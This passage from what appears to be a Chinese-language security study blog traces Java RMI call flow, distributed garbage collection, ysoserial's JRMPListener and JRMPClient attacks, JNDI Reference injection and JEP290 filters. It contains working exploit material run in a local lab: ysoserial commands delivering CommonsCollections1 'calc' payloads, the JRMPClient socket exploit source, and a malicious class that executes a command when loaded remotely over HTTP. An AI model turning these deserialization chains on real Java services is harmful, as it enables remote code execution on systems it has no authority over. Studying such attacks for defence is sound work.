                var8 = var6.lookup(var7); //调用Registrylmpl#lookup(String name)

                try {
                    ObjectOutput var9 = var2.getResultStream(true);
                    var9.writeObject(var8);  //序列化返回给客户端
                    break;
                } catch (IOException var88) {
                    throw new MarshalException("error marshalling return", var88);
                }
           ........

sun.rmi.registry.Registrylmpl#lookup(String name):根据name从变量bindings中取出对应的远程动态代理对象

public Remote lookup(String name)
    throws RemoteException, NotBoundException
{
    synchronized (bindings) {
        Remote obj = bindings.get(name);
        if (obj == null)
            throw new NotBoundException(name);
        return obj;
    }
}

总结一下就是

  • 客户端调用Registry_Stub#lookup(String var1)根据name获取远程动态代理对象 异常用于回显
  • 注册中心RegistryImpl_Skel#dispatch(....)根据name返回远程动态代理对象

期间都用原生序列化和反序列化实现

客户端远程调对象

这一部分对应deno代码中的String result = rt.hello();

这看起来是本地进行调用,但实际上是动态代理的RemoteObjectInvocationHandler委托 UnicastRef 的 invoke 方法进行远程通信,之前说过由于这个动态代理类中保存了真正 Server 端对此项服务监听的端口,因此 Client 端直接与 Server 端进行通信。主要逻辑就是UnicastRef#invoke

public Object invoke(Remote obj,Method method,Object[] params,long opnum)
    throws Exception
{
    if (clientRefLog.isLoggable(Log.VERBOSE)) {
        clientRefLog.log(Log.VERBOSE, "method: " + method);
    }

    if (clientCallLog.isLoggable(Log.VERBOSE)) {
        logClientCall(obj, method);
    }

    Connection conn = ref.getChannel().newConnection();
    RemoteCall call = null;
    boolean reuse = true;
    boolean alreadyFreed = false;

    try {
        if (clientRefLog.isLoggable(Log.VERBOSE)) {
            clientRefLog.log(Log.VERBOSE, "opnum = " + opnum);
        }

        // create call context
        call = new StreamRemoteCall(conn, ref.getObjID(), -1, opnum);  //建立连接,ref就是LiveRef

        // marshal parameters
        try {
            ObjectOutput out = call.getOutputStream();
            marshalCustomCallData(out);
            Class<?>[] types = method.getParameterTypes();
            for (int i = 0; i < types.length; i++) {
                marshalValue(types[i], params[i], out); //序列化传输参数
            }
        } catch (IOException e) {
            clientRefLog.log(Log.BRIEF,
                             "IOException marshalling arguments: ", e);
            throw new MarshalException("error marshalling arguments", e);
        }
        call.executeCall();  //执行调用

        try {
            Class<?> rtype = method.getReturnType();
            if (rtype == void.class)
                return null;
            ObjectInput in = call.getInputStream();
            Object returnValue = unmarshalValue(rtype, in); //读取结果并反序列化
            alreadyFreed = true;

            /* if we got to this point, reuse must have been true. */
            clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");

            /* Free the call's connection early. */
            ref.getChannel().free(conn, true);

            return returnValue;

Server 端之前一直在监听 TCPTransprt#listen ,其收到请求以后将调用 UnicastServerRef 的 dispatch 方法来处理客户端的请求,会在 this.hashToMethod_Map 中寻找 Client 端对应执行 Method 的 hash 值,如果找到了,则会反序列化 Client 端传来的参数,并且通过反射调用。

public void dispatch(Remote obj, RemoteCall call) throws IOException {
    // positive operation number in 1.1 stubs;
    // negative version number in 1.2 stubs and beyond...
    int num;
    long op;

........
        MarshalInputStream marshalStream = (MarshalInputStream) in;
        marshalStream.skipDefaultResolveClass();

        Method method = hashToMethod_Map.get(op);
        if (method == null) {
            throw new UnmarshalException("unrecognized method hash: " +
                                         "method not supported by remote object");
        }
        logCall(obj, method);

        Class<?>[] types = method.getParameterTypes();
        Object[] params = new Object[types.length];

        try {
            unmarshalCustomCallData(in);
            for (int i = 0; i < types.length; i++) {
                params[i] = unmarshalValue(types[i], in); //反序列化得到参数
            }
        } catch (java.io.IOException e) {
            throw new UnmarshalException(
                "error unmarshalling arguments", e);
        } catch (ClassNotFoundException e) {
            throw new UnmarshalException(
                "error unmarshalling arguments", e);
        } finally {
            call.releaseInputStream();
        }

        // make upcall on remote object
        Object result;
        try {
            result = method.invoke(obj, params);  //反射执行本地方法
        } catch (InvocationTargetException e) {
            throw e.getTargetException();
        }
            // marshal return value
            try {
                ObjectOutput out = call.getResultStream(true);
                Class<?> rtype = method.getReturnType();
                if (rtype != void.class) {
                    marshalValue(rtype, result, out); //序列化返回方法执行结果
                }
  .......
}

调用后将结果序列化给 Client 端,Client 端拿到结果反序列化,完成整个调用的过程。

分布式垃圾回收DGC

在Java虚拟机中,如果有一个本地对象不被Java虚拟机中的任何变量引用,则它就会被垃圾回收器回收。

DGC(Distributed Garbage Collection)分布式垃圾回收。RMI使用该机制来管理远程对象的引用。对于一个远程对象,如果它不受任何本地引用和远程引用,该远程对象将结束其生命周期。

客户端获得了一个远程代理对象时,会向服务器端发送一条租凭,告知服务端自己已经持有该远程对象的引用了。该租凭有一个租凭限期,租凭限期有java,rmi.dgc.leaseValue来设置,默认是600000毫秒。如果租凭到期后服务端没有继续收到客户端的租凭请求,服务器将会垃圾回收远程对象。

RMI中声明了一个java.rmi.dgc.DGC接口,声明了dirtyclean俩个方法

public interface DGC extends Remote {
    Lease dirty(ObjID[] ids, long sequenceNum, Lease lease)
        throws RemoteException;

    void clean(ObjID[] ids, long sequenceNum, VMID vmid, boolean strong)
        throws RemoteException;
}
  • dirty方法:客户端要使用服务端的远程代理引用,将使用dirty方法注册一个
  • clean方法:客户端不使用的时候,将调用clean方法清楚这个远程引用

java.rmi.dgc.DGC有俩个实现类:sun.rmi.transport.DGCImplsun.rmi.transport.DGCImpl_Stub。另外值得一提的是还有sun.rmi.transport.DGCImpl_Skel

总结RMI流程

  1. 服务端创建出远程代理对象
  2. 创建注册中心Registrylmpl_Stub,Registrylmpl_Skel
  3. 注册中心绑定远程对象Registrylmpl_Stub#bind
  4. 客户端获取注册中心Registrylmpl_Stub
  5. 客户端获取远程对象Registrylmpl_Stub#lookup
  6. 客户端远程调用对象(UnicastRef#invoke),UnicastServerRef#dispath

反序列化Gadgets

一般JDK的RMI不会真正出现在服务器中,通常的手法是利用反序列化建立RMI的服务进行攻击。根据师傅们的博客和文章我找出以下几种Gadgets,它们都是可反序列化的类

UnicastRemoteObject

UnicastRemoteObject在反序列化的时候,毫无疑问这个方法会触发RMI服务器端监听端口,并会对请求进行解析和反序列化操作

UnicastRemoteObject.readObject(ObjectInputStream)
 -UnicastRemoteObject.reexport()
     -UnicastRemoteObject.exportObject(Remote, int)
         -UnicastRemoteObject.exportObject(Remote, UnicastServerRef)
	     -UnicastServerRef.exportObject(Remote, Object, boolean)
		-LiveRef.exportObject(Target)
		   -TCPEndpoint.exportObject(Target)
		       -TCPTransport.exportObject(Target)
                          -TCPTransport.listen()

而在ysoserial.payloads.JRMPListener中利用的是类似的逻辑,只不过它中用的是UnicastRemoteObject的子类ActivationGroupImpl,该类反序列化时会利用上面的逻辑开启RMI服务器端监听

RemoteObject

RemoteObject封装了RemoteRef也就是UnicastRef。当RemoteObject反序列化时会触发UnicastRef的反序列化,接着会触发DGC通信及dirty方法调用,此时如果与一个恶意服务通信,则会造成反序列化漏洞

RemoteObject#readObject(java.io.ObjectInputStream in)
    -UnicastRef#readExternal(java.io.ObjectInputStream in)
      -LiveRef#read(in, false);
	-DGCClient#registerRefs();
	  -DGCClient$EndpointEntry#registerRefs()
            -DGCClient$EndpointEntry#makeDirtyCall()
              -DGCImpl_Stub#dirty()

ysoserial.payloads.JRMPClient中是将RemoteObject的子类RemoteObjectInvocationHandler封装给动态代理。当这个代理对象反序列化的时候将会触发RemoteObjectInvocationHandler#invoke方法

ysosearial中的RMI相关

payload.JRMPListener&exploit.JRMPClient/RMIRegistryExploit

如果让靶机存在反序列化漏洞,反序列化payload.JRMPListener开启一个RMI服务端。攻击者使用俩种方式攻击

  • RMIRegistryExploit bind进行攻击

  • exploit.JRMPClient利用DGC进行攻击

攻击流程

  1. 先往存在漏洞的服务器发送payloads.JRMPLIstener,使服务器反序列化该payload后,会开启⼀个rmi服务并监听在设置的端⼝
  2. 然后攻击⽅在⾃⼰的服务器使⽤exploit.JRMPClient/RMIRegistryExploit与存在漏洞的服务器进⾏通信,并且发送⼀个可命令执⾏的payload(假如存在漏洞的服务器中commons.collections包,则可以发送CommonsCollections系列的payload)从⽽达到命令执⾏的结果。

为了方便测试我在本地开启了一个CC3.2.1反序列化的环境

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Service {
    private static String string_Base64 = "";
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        byte[] bytes = Base64.getDecoder().decode(string_Base64);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}

payload.JRMPListener

java -jar ysoserial.jar JRMPListener 127.0.0.1:8888 | base64 -w 0 

为什么反序列化这条链就可以开启RMI服务端监听,主要还是研究payload.JRMPListener中的代码

public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {

    public UnicastRemoteObject getObject ( final String command ) throws Exception {
        //设置服务器监听端口
        int jrmpPort = Integer.parseInt(command);
        //获取ActivationGroupImpl的实例对象,方法中类型转换为RemoteObject,但是现在转换为UnicastRemoteObject
        UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {RemoteRef.class}, new Object[] {new UnicastServerRef(jrmpPort)
        });
        //反射修改uro的端口值
        Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
        return uro;
    }
    
    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(JRMPListener.class, args);
    }
}

createWithConstructor

public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
    throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
    //获取RemoteObject.class的参数为RemoteRef.class的构造器对象
    Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
    setAccessible(objCons);
    //根据构造器objCons构造出属于classTolnstantiate类的构造器对象
    Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
    setAccessible(sc);
    //将构造器实例化出的对象向上转型,这里得到的实例化对象类型是RemoteObject
    return (T)sc.newInstance(consArgs);
}

虽然说是根据ActivationGroupImpl实例化出的对象,最终转换为UnicastRemoteObject类型,所以会执行UnicastRemoteObject#readobject。payload反序列化的调用栈

UnicastRemoteObject.readObject(ObjectInputStream)
 -UnicastRemoteObject.reexport()
     -UnicastRemoteObject.exportObject(Remote, int)
         -UnicastRemoteObject.exportObject(Remote, UnicastServerRef)
	     -UnicastServerRef.exportObject(Remote, Object, boolean)
		-LiveRef.exportObject(Target)
		   -TCPEndpoint.exportObject(Target)
		       -TCPTransport.exportObject(Target)
                          -TCPTransport.listen()

exploit.JRMPClient利用DGC进行攻击

java -cp ysoserial.jar ysoserial.exploit.JRMPClient  127.0.0.1 8888 CommonsCollections1 "calc"

服务器端成功弹出计算器

研究exploit.JRMPClient

public class JRMPClient {
    public static final void main ( final String[] args ) {
        if ( args.length < 4 ) {
            System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");
            System.exit(-1);
        }
        //获得反序列化payload
        Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
        String hostname = args[ 0 ];
        int port = Integer.parseInt(args[ 1 ]);
        try {
            System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
            //DGC通信
            makeDGCCall(hostname, port, payloadObject);
        }
        catch ( Exception e ) {
            e.printStackTrace(System.err);
        }
        Utils.releasePayload(args[2], payloadObject);
    }

makeDGCCall

public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
    //socket套接字
    InetSocketAddress isa = new InetSocketAddress(hostname, port);
    Socket s = null;
    DataOutputStream dos = null;
    try {
        //与RMI服务器端建立通信
        s = SocketFactory.getDefault().createSocket(hostname, port);
        s.setKeepAlive(true);
        s.setTcpNoDelay(true);
	//获取输出流
        OutputStream os = s.getOutputStream();
        //封装OutputStream输出流
        dos = new DataOutputStream(os);
	//发送三组数据,服务器端TCPTransport#handleMessages调用前的数据
        dos.writeInt(TransportConstants.Magic); //1246907721
        dos.writeShort(TransportConstants.Version); //2
        dos.writeByte(TransportConstants.SingleOpProtocol); //76
	//TCPTransport#handleMessages方法周末和获得80
        dos.write(TransportConstants.Call); //80

        //以序列化方式传输数据
        @SuppressWarnings ( "resource" )
        final ObjectOutputStream objOut = new MarshalOutputStream(dos);
	//下面四组数据最终发到服务端是用来创建ObjID对象,并且值与dgcID[0:0:0, 2]相同
        objOut.writeLong(2); // DGC
        objOut.writeInt(0);
        objOut.writeLong(0);
        objOut.writeShort(0);
	//服务端dispath中获取
        objOut.writeInt(1); // dirty
        objOut.writeLong(-669196253586618813L);
	//序列化发送payload
        objOut.writeObject(payloadObject);

        os.flush();
    }
    finally {
        if ( dos != null ) {
            dos.close();
        }
        if ( s != null ) {
            s.close();
        }
    }
}

服务端会在DGClmpl#dispatch方法处进行反序列化操作

因为JEP290的出现上述攻击会出现变化,后面细说

RMIRegistryExploit bind进行攻击

这部分我本地验证失败,所以根据师傅们的利用位置贴一张图片。

触发点在Registry_Stub#bind

payload.JRMPClient&exploit.JRMPListener

攻击流程

攻击者自己的vps开启exploit.JRMPListener的rmi服务,靶机反序列化payload.JRMPClient访问的攻击者vps中的rmi服务拿到payload触发二次反序列化,完成漏洞利用

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 'calc' 
java -jar ysoserial.jar JRMPClient '127.0.0.1:12345' |  base64 -w 0

同样是本地搭一个反序列化漏洞环境打一下:

payload.JRMPClient

为什么该链会向外发送rmi的通信 其实就是构造了一个远程动态代理对象

public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {

    public Registry getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {  Registry.class}, obj);
        return proxy;
    }

其实就是构造了一个远程动态代理对象。当proxy对象被反序列化时候,其属性RemoteObjectInvocationHandler也会被反序列化,RemoteObjectInvocationHandler反序列会调用父类RemoteObject#readObject方法。以下是完整调用栈

RemoteObject#readObject(java.io.ObjectInputStream in)
    -UnicastRef#readExternal(java.io.ObjectInputStream in)
      -LiveRef#read(in, false);
	-DGCClient#registerRefs();
	  -DGCClient$EndpointEntry#registerRefs()
            -DGCClient$EndpointEntry#makeDirtyCall()
              -DGCImpl_Stub#dirty()
                -UnicastRef#invoke(RemoteCall var1)
          	    -StreamRemoteCall#executeCall()

值得注意的是靶机并不是通过dirty()的逻辑反序列化也就是并非这里反序列化image-20220712155737999

准确的来说靶机是在JRMP通信层StreamRemoteCall#executeCall()部分完成反序列化,这从一定程度上可以巧妙躲过JEP292的检测机制。具体怎么能让靶机二次反序列化到StreamRemoteCall#executeCall(),可以看看exploit.JRMPListener的处理逻辑。我看到师傅们说是通过BadAttributeValueExpException来触发的

RMI 动态加载类

知道ClassPath吗?通常JVM虚拟机需要知道在哪儿搜索类,ClassPath就是实现这样的功能的。但是ClassPath只能在本机指示类的路径,如果需要远程指示就要提到codebase。codebase指示远程类的路径,如URL,Http,ftp...

例如,我们设置codebase=http://butler.com。当需要远程加载类ctf.web.demo时,JVM就会在http://butler.com/ctf/web/demo.class路径中下载该字节码,作为demo类的字节码

RMI通信中,客户端和服务器端通过序列化传输数据,反序列化的时候会涉及到类的搜索,先从ClassPath中搜索类,如果没有搜索到就会在codebase中搜索加载类。如果codebase可控的话,通过对其设置我们就可以加载任意的类

RMI中,我们可以将codebase和序列化数据一起传输,当有一端接受到序列化的数据后就会在ClassPath和codebase的指引下去搜索类。通过codebase攻击RMI服务需要满足以下几个条件:

  • 安装并配置SecurityManager
  • Jdk版本低于7u21,6u45或者设置了java.rmi.server.useCodebaseOnly=false

在Jdk7u21,6u45及以后默认java.rmi.server.useCodebaseOnly=true,这就导致JVM虚拟机只相信预先设置好的codebase,不会利用RMI所指示的codebase

JNDI和JNDI注入

JNDI简述

概述JNDI(Java Naming and Directory Interface)是一组应用程序接口。可以⽤来定位⽤户、⽹络、机器、对象和服务等各种资源。⽐如可以利⽤JNDI在局域⽹上定位⼀台打印机,也可以⽤JNDI来定位数据库服务或RMI服务调用。JNDI底层⽀持RMI远程对象,RMI注册的服务可以通过JNDI接⼝来访问和调⽤。jndi教程

应用场景

  • 动态加载数据库配置文件
  • 远程方法调用RMI
  • 通用对象请求代理CORBA
  • 轻型目录访问协议LDAP
  • 域名服务DNS

JDK有关JNDI的五个包

  • javax.naming
  • javax.naming.directory
  • javax.naming.ldap
  • javax.naming.event
  • javax.naming.spi

jndi使用

跟着官网来学习,首先时jndi的基本模板

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class Test {
    public static void main(String[] args) throws NamingException {
        //创建环境变量
        Hashtable env = new Hashtable();
        //JNDI初始化 工厂类
        env.put(Context.INITIAL_CONTEXT_FACTORY, "FactoryClass");
        //创建上下文对象
        Context context = new InitialContext(env);
    }
}

工厂类在com.sun.jndi包下面有这几种工厂类

比如说rmi相关的工厂类是com.sun.jndi.rmi.registry.RegistryContextFactory

通过context支持很多个方法我们可以查找(lookup),bind(绑定),rebind(重新绑定)等进行命名服务

jndi动态协议转换

JNDI可以通过url的形式进行协议之间的转换,它可以在RMI、LDAP、CORBA等协议之间自动转换。我的理解是无论之前有没有手动设置了对应服务的工厂Context.INITIAL_CONTEXT_FACTORY以及对应服务的PROVIDER_URL,但是JNDI是能够进行动态协议转换的。所以说我们的攻击在url中是不受约束的的,例如是javax.naming#lookup方法,会进入getURLOrDefaultInitCtx方法,转换就在这里面

public Object lookup(Name name) throws NamingException {
    return getURLOrDefaultInitCtx(name).lookup(name);
}
protected Context getURLOrDefaultInitCtx(Name name)
        throws NamingException {
        if (NamingManager.hasInitialContextFactoryBuilder()) {
            return getDefaultInitCtx();
        }
        if (name.size() > 0) {
            String first = name.get(0);
            String scheme = getURLScheme(first);
            if (scheme != null) {
                Context ctx = NamingManager.getURLContext(scheme, myProps);
                if (ctx != null) {
                    return ctx;
                }
            }
        }
        return getDefaultInitCtx();
    }

Jndi命名引用

目录存储对象:Java在目录中存储对象。在目录中可以使用bind/rebind来存储对象,并且也支持存储多种对象。

  • Java Serializable Objects

  • Reference Objects and Jndi Reference

  • RMI(Java Remote Method Invocation) objects

  • CORBA objects

为什么使用引用:序列化状态可能太大或无法满足需求或者说我们关联的是不同形式的对象,比如说网络服务(数据库,目录或文件系统)的连接。

引用由Reference类来表示,并且由地址和有关被引用对象的类信息组成,每个地址都包含有关如何构造对象。关键的属性:

  • className:远程加载时所使用的类名;
  • classFactory:加载的class中需要实例化类的名称;
  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议

JNDIRMI分析

绑定RMI远程调用对象

通过JNDI和RMI的一个Demo来分析Jndi实现RMI的原理,RMIServer:

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, NotBoundException {
        IRemoteObj remoteObj = new RemoteObjImpl();
        Registry registry = LocateRegistry.createRegistry(1099);
    }
}

JNDIRMIServer:

public class JNDIRMIServer {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext = new InitialContext();
        initialContext.bind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
    }
}

JNDIRMIClient:

public class JNDIRMIClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext = new InitialContext();
        IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
        System.out.println(remoteObj.sayhello("JNDI-RMI"));
    }
}

依次启动,运行结果:

绑定Reference对象

RMI服务端在绑定远程对象至注册中心时,不仅可以绑定RMI服务器本身上的对象,还可以使用Reference对象指定一个托管在第三方服务器的class文件,再绑定给注册中心。

Reference引用对象支持从file://、ftp://、http://等协议中引用一个类,那就会涉及到类的搜索和加载,也就有codebase。所以在分析时候需要重点关注codebase

我们只需要把JNDIRMIServer部分的代码改变,其余不变就ok

public class JNDIRMIServer {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext = new InitialContext();
        Reference reference = new Reference("TestRef","TestRef","http://localhost:6666/");
        initialContext.rebind("rmi://localhost:1099/remoteObj",reference);
    }
}

准备一个恶意的类并将其编译为class文件

public class TestRef {
    public TestRef() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

在恶意字节码的位置开启一个http服务:python -m http.server 6666

依次启动的最终效果:

public class JNDIRMIServer {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext = new InitialContext();
        Reference reference = new Reference("TestRef","TestRef","http://localhost:6666/");
        initialContext.rebind("rmi://localhost:1099/remoteObj",reference); //此处打断点进行调试
    }
}

javax.naming.InitialContext#rebind(String name, Object obj) Context getURLOrDefaultInitCtx(String name)会完成动态协议转换

Context getURLOrDefaultInitCtx(String name)中就是截取了协议头部分然后返回对应的Context,因为是rmi所以返回了RMIURLContext

然后从lookup中一直跟进到com.sun.jndi.rmi.registry.RegistryContext#rebind(Name var1, Object var2)然后其实可以发现最后调用Registrylmpl_Stub进行rebind

我们需要关注Registry_Stub究竟rebind了什么内容。encodeObject里面的逻辑也非常简单。因为我们准备的是一个Reference,所以最后bind的一个对象是ReferenceWrapper

JNDIRMIClient.java:initialContext.lookup("rmi://localhost:1099/remoteObj")这里主要跟踪了一下这部分的调用流程

javax.naming.InitialContext#lookup(String name)的调用栈

InitialContext#lookup()
    -GenericURLContext#lookup()
        -RegistryContext#lookup()
           -RegistryContext#decodeObject()
    	  -NamingManager#getObjectInstance()
    	      -NamingManager#getObjectFactoryFromReference()

NamingManager#getObjectFactoryFromReference()部分,注释也比较清楚

static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName)
    throws IllegalAccessException,
InstantiationException,
MalformedURLException {
    Class<?> clas = null;

    // Try to use current class loader
    try {
        clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.

    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
        (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

我这里是低版本的JDK,VersionHelper12#loadClass(String className, String codebase)是这样的

public Class<?> loadClass(String className, String codebase)
    throws ClassNotFoundException, MalformedURLException {

    ClassLoader parent = getContextClassLoader();
    ClassLoader cl =
        URLClassLoader.newInstance(getUrlArray(codebase), parent);

    return loadClass(className, cl);
}

JNDILDAP分析

JNDI注入

Jndi攻击的几种方式

  1. JNDI 配合RMI Remote Object(codebase)
  2. JNDI Reference 配合 RMI
  3. JNDI Reference 配合 LDAP

Reference引用流程

准备好Reference以后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并在目录中保存。

当客户端在lookup()查找远程对象时候,客户端会获取相应的object factory。最终通过factory类将reference转换为具体对象实例

Reference对象指定远程恶意类

远程恶意类的构造方法,静态代码块,getObjectInstance处写入恶意代码达到RCE的效果

一些限制

我们要注意不要混淆以下概念:

rmi攻击手法中的动态类加载codebase,利用条件:

  • 安装并配置SecurityManager
  • Jdk版本低于7u21,6u45或者设置了java.rmi.server.useCodebaseOnly=false

rmi的JEP290限制

  • JDK8u121,JDK7u131,JDK6u141之后需要绕过策略

jndi注入高版本的限制,jndi实现动态类加载使用的是URLClassLoader和java.rmi.server.useCodebaseOnly的设置没有任何关系。但是其会受到com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.cosnaming.object.trustURLCodebase的限制,这俩者必须为true才可以利用

  • JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false

  • JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false

引用师傅的一张图:https://xz.aliyun.com/t/6633

JEP290

JEP的传说

概述:JEP(JDK Enhancement Proposal),是关于JDK的增强提议的一个项目,目前索引编号已经达到了JEP415

JEP290JEP290的描述是 Filter Incoming Serialization Data,即过滤传入的序列化数据。为了缓解反序列化攻击的一种解决方案。属于Java9的一种安全特性,同时对Java6,7,8都进行了一定的支持。它的出现其实就是专门防止rmi攻击,主要变动版本是:

Java™ SE Development Kit 8, Update 121 (JDK 8u121)

Java™ SE Development Kit 7, Update 131 (JDK 7u131)

Java™ SE Development Kit 6, Update 141 (JDK 6u141)

JEP290主要有以下几种变动:

  • 可反序列化的类从任意类限制为上下文相关的类
  • 限制反序列化的调用深度和复杂度
  • 为 RMI export 的对象设置了验证机制
  • 定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器

JEP290对rmi影响 : https://halfblue.github.io/2021/11/03/RMI反序列化漏洞之三顾茅庐-JEP290绕过/

  • RegistryImpl_Skel强制RegistryImpl.checkAccess验证;限制服务端和注册中心必须在同一host,相当于强制将服务端和注册中心绑定在一起,也就没有这两者之间的远程互相攻击了。
  • 配置了registry过滤器,RegistryImpl#registryFilter
  • 配置了DGC过滤器,sun.rmi.transport.DGCImpl#checkInput,DGCImpl_Skel和DGCImpl_Stub里面的对象反序列化时会进行白名单校验

JEP290限制的位置

白名单位置:

RegistryImpl#registryFilter

private static Status registryFilter(FilterInfo var0) {
    if (registryFilter != null) {
        Status var1 = registryFilter.checkInput(var0);
        if (var1 != Status.UNDECIDED) {
            return var1;
        }
    }

    if (var0.depth() > 20L) {
        return Status.REJECTED;
    } else {
        Class var2 = var0.serialClass();
        if (var2 != null) {
            if (!var2.isArray()) {
                return String.class != var2 && 
                    !Number.class.isAssignableFrom(var2) && 				
                    !Remote.class.isAssignableFrom(var2) && 			
                    !Proxy.class.isAssignableFrom(var2) &&
                    !UnicastRef.class.isAssignableFrom(var2) &&
                    !RMIClientSocketFactory.class.isAssignableFrom(var2) &&
                    !RMIServerSocketFactory.class.isAssignableFrom(var2) &&
                    !ActivationID.class.isAssignableFrom(var2) &&
                    !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
            } else {
                return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
            }
        } else {
            return Status.UNDECIDED;
        }
    }
}

白名单位置

sun.rmi.transport.DGCImpl#checkInput

    private static Status checkInput(FilterInfo var0) {
        if (dgcFilter != null) {
            Status var1 = dgcFilter.checkInput(var0);
            if (var1 != Status.UNDECIDED) {
                return var1;
            }
        }

        if (var0.depth() > (long)DGC_MAX_DEPTH) {
            return Status.REJECTED;
        } else {
            Class var2 = var0.serialClass();
            if (var2 == null) {
                return Status.UNDECIDED;
            } else {
                while(var2.isArray()) {
                    if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGC_MAX_ARRAY_SIZE) {
                        return Status.REJECTED;
                    }

                    var2 = var2.getComponentType();
                }

                if (var2.isPrimitive()) {
                    return Status.ALLOWED;
                } else {
                    return var2 != ObjID.class 
                        && var2 != UID.class 
                        && var2 != VMID.class 
                        && var2 != Lease.class 
                        ? Status.REJECTED : Status.ALLOWED;
                }
            }
        }
    }

具体的限制

  • RegistryImpl_Stub,RegistryImpl_Skel都受到反序列化的影响
  • DGCImpl_Skel和DGCImpl_Stub同样都受到反序列化的影响

突破限制:payload.JRMPClient&exploit.JRMPListener调用JRMP层的反序列化

RemoteObject#readObject(java.io.ObjectInputStream in)
    -UnicastRef#readExternal(java.io.ObjectInputStream in)
      -LiveRef#read(in, false);
	-DGCClient#registerRefs();
	  -DGCClient$EndpointEntry#registerRefs()
            -DGCClient$EndpointEntry#makeDirtyCall()
              -DGCImpl_Stub#dirty()
   		    -StreamRemoteCall#executeCall()

1、找到一处不受限制的反序列化
2、白名单类可以通过反序列化触发上述不受限的反序列化
3、触发点就在readObject中

JDK8u231的限制

JDK8u241的限制

posted @ 2022-07-14 16:58  B0T1eR  阅读(125)  评论(0编辑  收藏  举报